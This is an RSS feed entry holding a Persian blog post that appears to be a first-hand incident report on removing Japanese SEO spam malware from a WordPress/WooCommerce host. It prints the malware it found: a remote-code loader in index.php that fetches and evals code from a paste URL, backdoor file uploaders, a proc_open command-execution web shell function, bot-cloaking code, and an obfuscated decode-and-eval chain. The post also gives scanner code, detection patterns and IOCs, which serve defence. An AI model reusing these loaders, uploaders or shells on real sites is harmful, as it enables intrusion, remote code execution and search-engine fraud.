<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"><channel><title>نوشته های mohammad ghanimi</title><link>https://virgool.ir/feed/@ghanimi.mohammad</link><description></description><language>fa</language><pubDate>2026-11-12 03:12:00</pubDate><image><url>https://files.virgool.ir/upload/users/268572/avatar/avatar.png</url><title>mohammad ghanimi</title><link>https://virgool.ir/@ghanimi.mohammad</link></image><item><title>تجربه واقعی پاک‌سازی هک ژاپنی وردپرس؛ از SEO Spam و Cloaking تا کشف Web Shell در کل اکانت هاست</title><link>https://virgool.ir/@ghanimi.mohammad/wordpress-japanese-seo-spam-malware-cleanup-afdj10gbbydo</link><description>ماجرا از جایی شروع شد که سایت در ظاهر کاملاً عادی بود.مطمنم اگه با این مشکل روبرو شده باشید این مقاله به شدت میتونه به شما کمک کنه. یکی از راه های استفاده از این محتوا این هست که کل محتوارو برای chatgpt کپی کنید و مرحله به مرحله باهاش مسیر رو طی کنید. منتظر کامنت های شما عزیزان هستمکاربران عادی صفحه اصلی را درست میدیدند، محصولات نمایش داده میشدند، پنل مدیریت باز میشد و حتی آیکون سایت در تنظیمات وردپرس نیز صحیح بود. با این حال، گوگل چیز دیگری از سایت میدید.در Google Search Console نشانههای عجیبی ظاهر شده بود:صفحات ناشناخته با مسیر /prizes/URLهایی با پارامترهای عددی طولانی مانند ?o=...عنوانهای ژاپنیتصاویر محصول از سایتهای خارجییک Favicon نامرتبطSitemapهای متعدد و غیرواقعیمحتوایی که کاربران عادی هرگز آن را نمیدیدندسایت موردنظر hanondesign بود؛ یک سایت وردپرسی دارای ووکامرس، قالب Woodmart، Rank Math، WP Rocket و چند افزونه متداول دیگر.در ابتدا تصور میشد مشکل از Rank Math، کش WP Rocket، تنظیمات Sitemap یا دیتابیس وردپرس باشد. اما بررسیها نشان داد با یک آلودگی بسیار گستردهتر روبهرو هستیم؛ آلودگیای که فقط وردپرس را هدف نگرفته بود و در مسیرهای مختلف اکانت هاست، از جمله public_html، tmp، ssl، etc، lscache و public_ftp فایل مخرب ساخته بود.این مقاله گزارش کامل این اتفاق است؛ از اولین نشانهها تا کشف فایل اصلی، ساخت اسکنر اختصاصی، شناسایی چندین خانواده بدافزار و پاکسازی نهایی.هک ژاپنی وردپرس چیست؟هک ژاپنی یا Japanese SEO Spam نوعی حمله است که در آن مهاجم صفحات جعلی با محتوای ژاپنی، چینی یا فروشگاهی روی سایت قربانی ایجاد میکند.هدف معمولاً یکی از این موارد است:گرفتن رتبه در نتایج گوگل با اعتبار دامنه قربانیساخت صفحات فروش محصول جعلیهدایت کاربران گوگل به فروشگاههای غیرمعتبرسوءاستفاده از Crawl Budget سایتایجاد هزاران URL اسپمفروش لینک و ترافیکارسال ایمیل اسپم از سروردر بسیاری از موارد، صاحب سایت هیچ محتوای ژاپنی در وردپرس نمیبیند؛ زیرا بدافزار از تکنیکی به نام Cloaking استفاده میکند.در Cloaking، محتوایی که به Googlebot نمایش داده میشود با محتوایی که کاربر عادی میبیند متفاوت است.مثلاً:if (isGoogleBot()) {&#xA;    echo $japaneseSpamPage;&#xA;    exit;&#xA;}&#xA;&#xA;require &#39;wp-blog-header.php&#39;;در چنین حالتی مدیر سایت صفحه واقعی را میبیند، ولی گوگل نسخه جعلی را ایندکس میکند.نشانههای اولیه آلودگیدر این پرونده، نشانههای زیر مشاهده شد:۱. URLهای جعلی /prizes/گوگل URLهایی مشابه نمونه زیر را Crawl میکرد:https://hanondesign.ir/prizes/65404905&#xA;https://hanondesign.ir/prizes/38650470&#xA;https://hanondesign.ir/prizes/194572006هیچ برگه، نوشته، محصول یا Custom Post Type با نام prizes در وردپرس وجود نداشت.جستوجوی دیتابیس نیز نتیجهای برای این عبارت نشان نمیداد.۲. Sitemap غیرعادیفایل sitemap.xml بهجای Sitemap عادی Rank Math، تعداد زیادی Sitemap جعلی تولید میکرد؛ مانند:/sitemap607.xml&#xA;/sitemap608.xml&#xA;/sitemap609.xmlاین Sitemapها شامل صدها یا هزاران URL اسپم بودند.۳. عنوان و محتوای ژاپنی در Search Consoleدر آزمایش زنده Google Search Console، صفحه اصلی بهصورت یک صفحه فروش محصول ژاپنی نمایش داده شد.در HTML مشاهدهشده، موارد زیر وجود داشت:&lt;title&gt;【H984】琥珀...&lt;/title&gt;همچنین:تصاویر از static.mercdn.netمنابعی از komeri.comStructured Data مربوط به Productصدها لینک /prizes/Canonical به دامنه اصلی سایتFavicon از یک سایت خارجیاین در حالی بود که مرورگر عادی صفحه واقعی سایت را نمایش میداد.اولین اشتباه محتمل: متهمکردن افزونه سئو یا کشوقتی Sitemap جعلی و محتوای متفاوت برای گوگل دیده میشود، معمولاً اولین مظنونها اینها هستند:Rank MathYoast SEOWP RocketLiteSpeed CacheCloudflareافزونه Redirectافزونه Code Snippetsدیتابیس وردپرسدر این پرونده نیز ابتدا همین بخشها بررسی شدند.هیچ رشتهای با عبارات زیر در دیتابیس پیدا نشد:prizes&#xA;Japanese&#xA;komeri&#xA;mercdnهمچنین Rewrite Rule مشخصی برای /prizes/ وجود نداشت.در نتیجه باید مشخص میشد آیا درخواست Googlebot اصلاً به وردپرس میرسد یا قبل از آن پاسخ داده میشود.روش تشخیص اینکه درخواست به وردپرس میرسد یا خیربرای این کار یک MU Plugin موقت ساخته شد.فایل:wp-content/mu-plugins/hanon-trace.phpمنطق آن به شکل ساده زیر بود:&lt;?php&#xA;&#xA;add_action(&#39;send_headers&#39;, function () {&#xA;    header(&#39;X-Hanon-WP-Reached: yes&#39;);&#xA;});&#xA;&#xA;add_action(&#39;wp_head&#39;, function () {&#xA;    echo &#39;&lt;!-- HANON_WP_REACHED --&gt;&#39;;&#xA;});هدف این بود که وقتی وردپرس اجرا میشود:یک Header با نام X-Hanon-WP-Reached اضافه شود.یک Comment در HTML صفحه قرار گیرد.سپس Google Search Console Live Test دوباره اجرا شد.نتیجه مهم بود:HANON_WP_REACHEDدر نسخه ژاپنی وجود نداشت.فایل Log افزونه نیز ساخته نشد.این یعنی پاسخ جعلی قبل از بارگذاری وردپرس و قبل از اجرای MU Pluginها تولید میشد.پس مشکل از Rank Math، WooCommerce یا قالب نبود.تست .htaccess و مشخصشدن محل اجرای بدافزاربرای اطمینان، یک Rewrite موقت در .htaccess اضافه شد تا درخواست Google Inspection Tool به یک فایل ثابت هدایت شود.محتوای فایل تست:HANON_GOOGLE_PROBE_20260712Google Search Console همین متن را نمایش داد.این آزمایش ثابت کرد:درخواست گوگل به سرور و .htaccess میرسد.اما در حالت عادی قبل از اجرای وردپرس، یک کد دیگر پاسخ جعلی تولید میکند.محل آلودگی احتمالاً یکی از فایلهای ابتدایی اجرای PHP است.فایلهای مهم در این مرحله عبارتاند از:index.php&#xA;wp-blog-header.php&#xA;wp-load.php&#xA;wp-config.php&#xA;.user.ini&#xA;php.ini&#xA;auto_prepend_fileغیرفعالکردن WP Rocket و ردشدن فرضیه کشبرای حذف احتمال کش آلوده، اقدامات زیر انجام شد:define(&#39;WP_CACHE&#39;, false);فایل زیر تغییرنام داده شد:wp-content/advanced-cache.phpو پوشه کش WP Rocket نیز به قرنطینه منتقل شد:wp-content/cache/wp-rocketبا این حال، Google Search Console همچنان صفحه ژاپنی را نمایش میداد.بنابراین مشکل از Cache نبود.کشف عامل اصلی در index.phpفایل اصلی زیر بررسی شد:/home/hanondes/public_html/index.phpدر ابتدای فایل، قبل از کد استاندارد وردپرس، این کد قرار داشت:&lt;?php&#xA;error_reporting(0);&#xA;&#xA;eval(&#xA;    urldecode(&#34;%3f%3e&#34;) .&#xA;    file_get_contents(&#xA;        urldecode(&#xA;            hex2bin(&#xA;                &#39;68747470733a2f2f706173746566792e6170702f6d485262685370612f726177&#39;&#xA;            )&#xA;        )&#xA;    )&#xA;);&#xA;?&gt;رشته Hex زیر:68747470733a2f2f706173746566792e6170702f6d485262685370612f726177پس از Decode به این آدرس تبدیل میشد:https://pastefy.app/mHRbhSpa/rawیعنی فایل index.php در هر درخواست، کد PHP را از یک سرویس خارجی دریافت و با eval اجرا میکرد.ساختار واقعی حمله تقریباً این بود:$remoteCode = file_get_contents(&#xA;    &#39;https://pastefy.app/mHRbhSpa/raw&#39;&#xA;);&#xA;&#xA;eval($remoteCode);این کد قبل از وردپرس اجرا میشد و میتوانست:User-Agent را بررسی کند.Googlebot را تشخیص دهد.محتوای ژاپنی نمایش دهد.Sitemap جعلی تولید کند.URLهای /prizes/ بسازد.برای کاربران عادی وردپرس واقعی را نمایش دهد.بدون تغییر دیتابیس، هزاران صفحه جعلی ایجاد کند.پاکسازی اولیه index.phpمحتوای آلوده حذف و فایل به نسخه استاندارد وردپرس برگردانده شد:&lt;?php&#xA;/**&#xA; * Front to the WordPress application.&#xA; *&#xA; * @package WordPress&#xA; */&#xA;&#xA;define(&#39;WP_USE_THEMES&#39;, true);&#xA;&#xA;require __DIR__ . &#39;/wp-blog-header.php&#39;;بعد از این تغییر، Google Search Console Live Test دوباره اجرا شد.این بار Marker زیر در خروجی دیده شد:&lt;!-- HANON_WP_REACHED --&gt;فایل Log نیز ثبت درخواست Googlebot را آغاز کرد.این یعنی درخواستها اکنون به وردپرس واقعی میرسیدند.نکته مهم این است که مشاهده درخواستهای جدید گوگل برای URLهای قدیمی /prizes/ بعد از پاکسازی الزاماً به معنی باقیبودن آلودگی نیست. گوگل ممکن است URLهای قبلاً کشفشده را هفتهها یا ماهها دوباره Crawl کند. مهم این است که این URLها اکنون محتوای جعلی تولید نکنند و پاسخ 404 یا 410 بدهند.کشف فایل CIthjx.phpبررسی فایلهای اخیراً تغییرکرده، یک فایل تصادفی در ریشه سایت نشان داد:/home/hanondes/public_html/CIthjx.phpمشخصات فایل:Size: 38,804 bytes&#xA;Modified: 10 July 2026نام تصادفی، محل قرارگیری در ریشه سایت و زمان ساخت نزدیک به زمان آلودهشدن index.php بسیار مشکوک بود.محتوای فایل شامل:رشتههای رمزگذاریشدهCommentهای تصادفیevalساخت پویای توابعPayload بزرگکدهای مبهمسازیشدهبود.این فایل یک Backdoor محسوب میشد و حذف شد.اما این پایان ماجرا نبود.چرا اسکن فقط public_html کافی نبود؟در بسیاری از پاکسازیهای ناقص، فقط پوشه سایت بررسی میشود:/home/user/public_htmlاما PHP معمولاً با دسترسی همان حساب cPanel اجرا میشود و ممکن است بتواند در مسیرهای دیگر Home Directory نیز فایل ایجاد کند.در این پرونده اسکن کل مسیر زیر انجام شد:/home/hanondesنتیجه نشان داد بدافزار در مسیرهای مختلف پخش شده است:/home/hanondes/public_ftp&#xA;/home/hanondes/etc&#xA;/home/hanondes/ssl&#xA;/home/hanondes/lscache&#xA;/home/hanondes/tmp&#xA;/home/hanondes/public_htmlاین موضوع نشان میداد مهاجم فقط یک فایل وردپرس را تغییر نداده، بلکه Persistence در سطح اکانت هاست ایجاد کرده است.ساخت اسکنر اول: Host Audit Scannerبرای بررسی کل اکانت یک اسکنر PHP اختصاصی ساخته شد.وظایف این اسکنر عبارت بودند از:پیمایش تمام فایلهای /home/hanondesپیداکردن امضاهای قطعی بدافزاربررسی فایلهای PHP مخفیپیداکردن PHP در uploadsبررسی فایلهای تغییرکرده در بازه حملهشناسایی فایلهای World-Writableبررسی Payloadهای طولانیشناسایی ترکیبهای مشکوک مانند eval و base64_decodeبررسی فایلهای با نام تصادفیمحاسبه SHA-256ثبت مسیر، اندازه و تاریخ تغییر فایلخلاصه نتیجه اسکن:Files checked: 28,789&#xA;Files read: 28,751&#xA;Errors: 0بخش مهم اسکن، تفکیک «امضای قطعی» از «Heuristic» بود.برای مثال وجود عبارت Googlebot بهتنهایی دلیل بدافزاربودن نیست؛ زیرا افزونههای کش و کتابخانههای Mobile Detect نیز ممکن است این عبارت را داشته باشند.همچنین فایلهای تصویر باینری ممکن است بهصورت تصادفی شامل بایتهایی مشابه &lt;?php یا &lt;?= باشند. بنابراین هر نتیجه اسکن نباید بدون بررسی حذف شود.خانواده بدافزار 85049c1f2be10dاسکن چند فایل با نام یکسان در مسیرهای مختلف پیدا کرد:/home/hanondes/public_ftp/85049c1f2be10d.php&#xA;/home/hanondes/etc/85049c1f2be10d.php&#xA;/home/hanondes/ssl/85049c1f2be10d.php&#xA;/home/hanondes/lscache/85049c1f2be10d.php&#xA;/home/hanondes/tmp/85049c1f2be10d.phpهمه این فایلها دارای SHA-256 یکسان بودند:dc6289c415afab40c39911dc169cf5b5363e15c4fc60f9fc825e183f8fdc645cیک نسخه دیگر نیز داخل افزونهای با نام مشکوک پیدا شد:wp-content/plugins/twentynine/BDKR28_5svvawrj.phpوجود یک فایل با Hash یکسان در مسیرهای متعدد، یکی از قویترین نشانههای Persistence است.این فایلها ممکن بود با هر بار پاکسازی سایت، نسخه دیگری از Backdoor را بازیابی کنند.فایلهای Mailer_85049c1f2be10d.phpنسخه دیگری از همین خانواده با نام زیر پیدا شد:Mailer_85049c1f2be10d.phpاین فایل یک پنل ارسال ایمیل انبوه با عنوان Leaf PHPMailer بود.نشانههای داخل آن:Leaf PHPMailer&#xA;leafmailer.pw&#xA;BDKR28&#xA;watchxاین فایل امکاناتی مانند موارد زیر داشت:ارسال ایمیل انبوهواردکردن لیست گیرندگانافزودن Attachmentتغییر Senderبررسی Blacklistنمایش اطلاعات سروردریافت اطلاعات PHP و سیستمعاملاجرای کد دریافتشده از اینترنتدر یکی از بخشهای مبهمسازیشده، کد در نهایت به دریافت و اجرای محتوا از مقصد زیر ختم میشد:http://lef8.pw/-2بنابراین این فایل فقط یک Mailer نبود؛ یک Remote Code Loader نیز محسوب میشد.وجود چنین فایلی یعنی باید موارد زیر نیز بررسی شوند:Mail Queueارسالهای خروجیReputation آیپیSpam Blacklistحسابهای ایمیلForwarderهاEmail Filterهافایل آپلودر BDKR28یکی از فایلهای کشفشده کد سادهای داشت:&lt;?php&#xA;&#xA;$p = $_GET[&#39;BDKR28&#39;] ?? &#39;&#39;;&#xA;&#xA;if ($p !== &#39;iyhi&#39;) {&#xA;    die(&#39;Login&#39;);&#xA;}&#xA;&#xA;if (isset($_FILES[&#39;f&#39;])) {&#xA;    $name = $_FILES[&#39;f&#39;][&#39;name&#39;];&#xA;&#xA;    move_uploaded_file(&#xA;        $_FILES[&#39;f&#39;][&#39;tmp_name&#39;],&#xA;        $name&#xA;    );&#xA;}این کد در ظاهر کوتاه است، اما خطر آن بسیار زیاد است.مهاجم میتواند با بازکردن فایل و واردکردن رمز، هر فایل دیگری را در همان مسیر آپلود کند:shell.php&#xA;mailer.php&#xA;index.php&#xA;backdoor.phtmlنکته مهم اینکه فایل آپلودشده با نام اصلی کاربر ذخیره میشد و هیچ بررسیای روی Extension، MIME Type یا محتوا انجام نمیشد.فایل priv.phpیک آپلودر دیگر با عنوان Priv1337 پیدا شد:if ($_POST[&#39;_upl&#39;] === &#39;Upload&#39;) {&#xA;    copy(&#xA;        $_FILES[&#39;file&#39;][&#39;tmp_name&#39;],&#xA;        $_FILES[&#39;file&#39;][&#39;name&#39;]&#xA;    );&#xA;}این فایل حتی رمز عبور هم نداشت.هر فردی که URL آن را پیدا میکرد میتوانست فایل جدید روی سرور آپلود کند.فایل function.php؛ Web Shell کاملیکی از خطرناکترین فایلها، فایل Obfuscated با نام function.php بود.با وجود مبهمسازی گسترده، قابلیتهای آن قابل تشخیص بود:proc_open(...)&#xA;move_uploaded_file(...)&#xA;file_put_contents(...)&#xA;unlink(...)&#xA;rename(...)&#xA;scandir(...)این فایل امکانات زیر را در اختیار مهاجم قرار میداد:مرور همه پوشههای هاستمشاهده فایلهاآپلود فایلویرایش فایلتغییرنام فایلحذف فایلمشاهده Permissionهااجرای Command روی سیستممشاهده اطلاعات سیستمعاملمشاهده نسخه PHP و وبسرورتابع اصلی اجرای فرمان تقریباً به این شکل بود:function runCommand($cmd)&#xA;{&#xA;    $descriptorSpec = [&#xA;        0 =&gt; [&#39;pipe&#39;, &#39;r&#39;],&#xA;        1 =&gt; [&#39;pipe&#39;, &#39;w&#39;],&#xA;        2 =&gt; [&#39;pipe&#39;, &#39;w&#39;],&#xA;    ];&#xA;&#xA;    $process = proc_open(&#xA;        $cmd,&#xA;        $descriptorSpec,&#xA;        $pipes&#xA;    );&#xA;&#xA;    // Read command output...&#xA;}این سطح از دسترسی، یک File Manager ساده نبود؛ یک Web Shell کامل بود.فایل gaibfebchb.php و SEO Cloakingیکی دیگر از فایلهای مخرب:wp-content/uploads/gaibfebchb.phpاین فایل با یک Payload بزرگ Base64 شروع میشد:$a = base64_decode(&#39;...&#39;);&#xA;eval($a);پس از Decode، مشخص شد کد:User-Agent را بررسی میکند.Googlebot، Bing و Yahoo را تشخیص میدهد.اطلاعات Host، URL، Referer و Language را جمعآوری میکند.از چند دامنه خارجی محتوا میگیرد.robots.txt را بازنویسی میکند.Sitemap جعلی تعریف میکند.پاسخهای 301، 404 و 500 تولید میکند.محتوای HTML، CSS یا XML دریافتی را به کاربر نمایش میدهد.نمونه منطق تشخیص ربات:function disbot()&#xA;{&#xA;    $ua = strtolower(&#xA;        $_SERVER[&#39;HTTP_USER_AGENT&#39;] ?? &#39;&#39;&#xA;    );&#xA;&#xA;    return&#xA;        stripos($ua, &#39;googlebot&#39;) !== false ||&#xA;        stripos($ua, &#39;bing&#39;) !== false ||&#xA;        stripos($ua, &#39;yahoo&#39;) !== false ||&#xA;        stripos($ua, &#39;google&#39;) !== false;&#xA;}نمونه دریافت محتوای خارجی:$response = curl_exec($ch);&#xA;&#xA;if (!$response &amp;&amp; ini_get(&#39;allow_url_fopen&#39;)) {&#xA;    $response = file_get_contents($url);&#xA;}این دقیقاً همان رفتاری بود که باعث نمایش نسخه ژاپنی فقط برای گوگل شده بود.فایلهای مخرب داخل uploadsسه فایل مهم در مسیر رسانهها پیدا شدند:wp-content/uploads/bceddaeiec.txt&#xA;wp-content/uploads/gaibfebchb.txt&#xA;wp-content/uploads/gaibfebchb.phpنکته مهم این است که Extension فایل همیشه قابل اعتماد نیست.فایلهایی با پسوندهای زیر نیز ممکن است Payload PHP یا داده رمزگذاریشده داشته باشند:.txt&#xA;.jpg&#xA;.png&#xA;.ico&#xA;.dat&#xA;.cacheمهاجم ممکن است Payload را داخل فایل TXT نگه دارد و از یک Loader PHP برای خواندن و اجرای آن استفاده کند.بنابراین اسکن فقط فایلهای .php کافی نیست.کشف فایل ejrJa8.phpدر اسکن اولیه یک فایل PHP داخل مسیر WPCode در uploads دیده شد:wp-content/uploads/wpcode/e/b/c/ejrJa8.phpاندازه فایل:67,001 bytesابتدا احتمال داده شد این فایل توسط افزونه WPCode تولید شده باشد، اما بررسی محتوا نشان داد فایل کاملاً مخرب است.ابتدای فایل شامل کد نامفهوم و Commentهای تصادفی بود:&lt;?=//e&amp;(6GbF^CIri]G\*:!QcCD\A;B&#xA;FalSE /*h\Y6iCQ_aVGfJla#t(&gt;:z8A*/;&#xA;ParsE_STr#:(ynK%+z.!wEUeKKدر ادامه نام توابع بهصورت پویا ساخته میشد و Payload چندمرحلهای اجرا میشد.توابع مورد استفاده شامل این موارد بودند:strrev&#xA;str_rot13&#xA;base64_decode&#xA;gzinflate&#xA;create_function&#xA;evalساختار کلی Loader مشابه این زنجیره بود:eval(&#xA;    gzinflate(&#xA;        base64_decode(&#xA;            str_rot13(&#xA;                strrev($payload)&#xA;            )&#xA;        )&#xA;    )&#xA;);SHA-256 این فایل:2736768d416a9a89c01ebef6defbed24215bad9f55bc28d14b32d143840257e3این Hash بعداً نقش بسیار مهمی در کشف نسخههای دیگر فایل داشت.چرا اسکن اول کافی نبود؟اسکن اول براساس امضاهای شناختهشده این خانوادهها نوشته شده بود:BDKR28&#xA;Priv1337&#xA;Leaf PHPMailer&#xA;leafmailer.pw&#xA;85049c1f2be10d&#xA;gaibfebchb&#xA;pastefy.app&#xA;nobotuseragent&#xA;okhtmlgetcontentاما ejrJa8.php از امضای متفاوت و Obfuscation پیچیدهتری استفاده میکرد.این تجربه یک نکته مهم را نشان داد:هیچ اسکنری که فقط بر نام فایل یا چند رشته ثابت متکی باشد، کامل نیست.مهاجم میتواند:نام فایل را تغییر دهد.دامنه Remote Loader را تغییر دهد.ترتیب توابع Decode را تغییر دهد.Payload را دوباره Encode کند.Commentهای تصادفی اضافه کند.Hash فایل را تغییر دهد.فایل را در یک مسیر قانونی پنهان کند.به همین دلیل اسکن دوم اختصاصاً برای Loaderهای رمزگذاریشده ساخته شد.ساخت اسکنر دوم: Encoded Loader Scannerاسکنر دوم موارد زیر را بررسی میکرد:تطبیق Hash قطعی$knownHashes = [&#xA;    &#39;2736768d416a9a89c01ebef6defbed24215bad9f55bc28d14b32d143840257e3&#39;,&#xA;];امضاهای اختصاصی فایل$exactMarkers = [&#xA;    &#39;ezyyimywymy1mtykljy2ywzhnmmmjwy2igz&#39;,&#xA;    &#39;==ji9//79rpN+&#39;,&#xA;    &#39;FalSE /*h\\Y6iCQ&#39;,&#xA;    &#39;ParsE_STr#:&#39;,&#xA;];بررسی زنجیرههای Decode$decoderMarkers = [&#xA;    &#39;base64_decode&#39;,&#xA;    &#39;gzinflate&#39;,&#xA;    &#39;gzdecode&#39;,&#xA;    &#39;str_rot13&#39;,&#xA;    &#39;strrev&#39;,&#xA;    &#39;create_function&#39;,&#xA;    &#39;eval(&#39;,&#xA;    &#39;assert(&#39;,&#xA;];شناسایی Payloadهای طولانیif (&#xA;    preg_match(&#xA;        &#39;/[A-Za-z0-9+\/]{5000,}={0,2}/s&#39;,&#xA;        $content&#xA;    )&#xA;) {&#xA;    $hasLongEncodedPayload = true;&#xA;}شناسایی PHP در uploads$isInUploads = str_contains(&#xA;    $path,&#xA;    &#39;/wp-content/uploads/&#39;&#xA;);&#xA;&#xA;$isPhp =&#xA;    str_contains($content, &#39;&lt;?php&#39;) ||&#xA;    str_contains($content, &#39;&lt;?=&#39;);در حالت Scan Only هیچ فایلی حذف نمیشد. اسکنر فقط موارد قطعی و موارد نیازمند بررسی را گزارش میکرد.نتیجه عجیب اسکن دوم: ۱۲ نسخه یکسان در هسته وردپرساسکن دوم ۱۲ نسخه کاملاً یکسان از ejrJa8.php پیدا کرد:wp-includes/block-bindings/l3EbYf.php&#xA;wp-includes/ID3/about.php&#xA;wp-includes/block-supports/mar.php&#xA;wp-includes/blocks/7fx7gr.php&#xA;wp-includes/blocks/quote/index.php&#xA;wp-includes/html-api/admin.php&#xA;wp-includes/pomo/menu.php&#xA;wp-includes/fonts/radio.php&#xA;wp-includes/certificates/P4GTzq.php&#xA;wp-admin/FbIqZqbg3rF.php&#xA;wp-admin/user/radio.php&#xA;wp-admin/js/index.phpهمه فایلها:Size: 67,001 bytes&#xA;SHA256:&#xA;2736768d416a9a89c01ebef6defbed24215bad9f55bc28d14b32d143840257e3داشتند.این نتیجه بسیار مهم بود؛ زیرا برخی نامها ظاهراً طبیعی به نظر میرسیدند:about.php&#xA;admin.php&#xA;menu.php&#xA;radio.php&#xA;index.phpیک مدیر سایت ممکن است تصور کند این فایلها بخشی از وردپرس هستند.اما فایلهای اصلی وردپرس با این نامها در این مسیرها وجود ندارند، یا محتوای آنها نباید دقیقاً با یک Loader رمزگذاریشده ۶۷ کیلوبایتی یکسان باشد.این فایلها حذف شدند و اسکن دوباره اجرا شد:CERTAIN MALWARE: 0&#xA;SUSPICIOUS REVIEW: 0&#xA;FAILED: 0وجود این ۱۲ نسخه بعد از پاکسازی اولیه میتوانست دو دلیل داشته باشد:یک Backdoor باقیمانده دوباره فایلها را ساخته باشد.جایگزینی پوشههای هسته بهصورت Merge یا Overwrite انجام شده باشد و فایلهای اضافی حذف نشده باشند.بدون Log کامل نمیتوان با قطعیت یکی را انتخاب کرد. به همین دلیل هنگام جایگزینی هسته وردپرس باید پوشههای قدیمی wp-admin و wp-includes ابتدا کامل حذف شوند و سپس نسخه سالم آپلود شود؛ صرفاً Overwriteکردن کافی نیست.اسکنر حذف خانواده 85049c1f2be10dبعد از شناسایی امضاها، یک اسکنر Delete Mode اختصاصی ساخته شد.این اسکنر براساس موارد زیر فایلها را حذف میکرد:نام فایلHashSignature داخل محتواPayload Decodeشدهمسیرهای قطعی آلودهخروجی حذف:FILES CHECKED: 29143&#xA;FILES CONTENT READ: 29138&#xA;MATCHED ITEMS: 16&#xA;DELETED ITEMS: 16&#xA;FAILED ITEMS: 0فایلهای حذفشده شامل:public_ftp/Mailer_85049c1f2be10d.php&#xA;public_ftp/incoming/85049c1f2be10d.php&#xA;public_ftp/85049c1f2be10d.html&#xA;&#xA;etc/Mailer_85049c1f2be10d.php&#xA;etc/hanondesign.ir/85049c1f2be10d.php&#xA;&#xA;ssl/Mailer_85049c1f2be10d.php&#xA;ssl/certs/85049c1f2be10d.php&#xA;ssl/85049c1f2be10d.php&#xA;ssl/85049c1f2be10d.html&#xA;&#xA;lscache/Mailer_85049c1f2be10d.php&#xA;lscache/b/85049c1f2be10d.php&#xA;lscache/85049c1f2be10d.php&#xA;lscache/85049c1f2be10d.html&#xA;&#xA;tmp/Mailer_85049c1f2be10d.php&#xA;tmp/85049c1f2be10d.php&#xA;tmp/85049c1f2be10d.htmlاسکن مجدد:MATCHED ITEMS: 0&#xA;FAILED ITEMS: 0چرا فایلهای shadow را نباید کورکورانه حذف کرد؟در میان نامهای مشاهدهشده، عبارت shadow نیز مطرح شد.اما در cPanel فایلهایی با نام shadow ممکن است کاملاً قانونی باشند و اطلاعات احراز هویت حسابهای ایمیل دامنه را نگه دارند؛ مانند:/home/hanondes/etc/example.com/shadowحذف کورکورانه تمام فایلهای shadow میتواند حسابهای ایمیل را از کار بیندازد.قاعده صحیح این است:فایل shadow صرفاً براساس نام حذف نشود.مسیر آن بررسی شود.محتوا در اختیار عموم قرار نگیرد.فقط وقتی حذف شود که امضای قطعی بدافزار داخل آن وجود داشته باشد.فایلهای قانونی داخل ساختار ایمیل cPanel دستنخورده بمانند.جایگزینی کامل هسته وردپرسبهدلیل خطای زیر در پیشخوان:External requests are blockedنصب مجدد هسته از Dashboard امکانپذیر نبود.بنابراین هسته بهصورت دستی جایگزین شد.روش صحیح:نسخه سالم همان نگارش وردپرس دانلود شود.پوشههای زیر از هاست حذف شوند:wp-admin&#xA;wp-includesنسخه سالم این دو پوشه آپلود شود.فایلهای ریشه وردپرس از نسخه سالم Overwrite شوند:index.php&#xA;wp-activate.php&#xA;wp-blog-header.php&#xA;wp-comments-post.php&#xA;wp-cron.php&#xA;wp-links-opml.php&#xA;wp-load.php&#xA;wp-login.php&#xA;wp-mail.php&#xA;wp-settings.php&#xA;wp-signup.php&#xA;wp-trackback.php&#xA;xmlrpc.phpموارد زیر نباید با نسخه بسته وردپرس جایگزین شوند:wp-config.php&#xA;wp-content&#xA;.htaccess&#xA;.user.ini&#xA;php.iniبررسی دیتابیسپس از پاکسازی فایلها، کل دیتابیس برای Indicators زیر جستوجو شد:ezyyimywymy1mtykljy2ywzhnmmmjwy2igz&#xA;BDKR28&#xA;leafmailer.pw&#xA;lef8.pw&#xA;pastefy.app&#xA;gaibfebchb&#xA;85049c1f2be10d&#xA;Priv1337نتیجه همه جستوجوها صفر بود.همچنین جداول احتمالی Snippetها بررسی شدند:wp_snippets&#xA;*_snippetsو کدهایی با توابع زیر جستوجو شدند:eval(&#xA;base64_decode&#xA;gzinflate&#xA;create_function&#xA;file_put_contents&#xA;move_uploaded_fileاین مرحله مهم است؛ زیرا برخی افزونههای Snippet کد PHP را داخل دیتابیس نگه میدارند و ممکن است پس از حذف فایل، دوباره آن را تولید کنند.بررسی کاربران وردپرسهمه کاربران ناشناس وردپرس حذف شدند و فقط حساب مدیر اصلی باقی ماند.در این مرحله باید علاوه بر جدول wp_users، موارد زیر نیز بررسی شوند:wp_usermeta&#xA;Application Passwords&#xA;Administrator Roles&#xA;REST API accessحذف مستقیم کاربر از phpMyAdmin ممکن است رکوردهای Orphan در wp_usermeta باقی بگذارد، اما از نظر امنیتی مهمترین موضوع این است که هیچ مدیر ناشناسی وجود نداشته باشد.بررسی Cron Jobها و تنظیمات PHPدر cPanel هیچ Cron Job مشکوکی وجود نداشت.فایلهای زیر نیز بررسی شدند:/home/hanondes/.user.ini&#xA;/home/hanondes/php.ini&#xA;/home/hanondes/public_html/.user.ini&#xA;/home/hanondes/public_html/php.iniهیچکدام شامل موارد زیر نبودند:auto_prepend_file&#xA;auto_append_file&#xA;pastefy&#xA;85049c1f2be10d&#xA;BDKR28&#xA;gaibfebchb&#xA;CIthjxاین مرحله بسیار مهم است؛ زیرا مهاجم میتواند از تنظیم زیر استفاده کند:auto_prepend_file=/home/user/malware.phpدر این حالت فایل مخرب قبل از همه فایلهای PHP اجرا میشود، حتی اگر index.php سالم باشد.Indicators of Compromise یا IOCهای این حملهافرادی که با مشکل مشابه روبهرو هستند، میتوانند این عبارات را در فایلها و Logهای خود جستوجو کنند.نام فایلهاCIthjx.php&#xA;85049c1f2be10d.php&#xA;85049c1f2be10d.html&#xA;Mailer_85049c1f2be10d.php&#xA;BDKR28_5svvawrj.php&#xA;priv.php&#xA;gaibfebchb.php&#xA;gaibfebchb.txt&#xA;bceddaeiec.txt&#xA;ejrJa8.php&#xA;uqg.txtنام پوشه مشکوکwp-content/plugins/twentynine&#xA;wp-content/uploads/wpcode/e/b/c/رشتههای قابل جستوجوBDKR28&#xA;Priv1337&#xA;Leaf PHPMailer&#xA;leafmailer.pw&#xA;lef8.pw&#xA;pastefy.app/mHRbhSpa/raw&#xA;mHRbhSpa&#xA;FOR BUY MORE TOOLS&#xA;nobotuseragent&#xA;okhtmlgetcontent&#xA;okhtmlgetcss&#xA;okxmlgetcontent&#xA;okrobotsgetcontent&#xA;getcontent301page&#xA;getcontent404page&#xA;getcontent500page&#xA;ezyyimywymy1mtykljy2ywzhnmmmjwy2igz&#xA;==ji9//79rpN+Hashهای 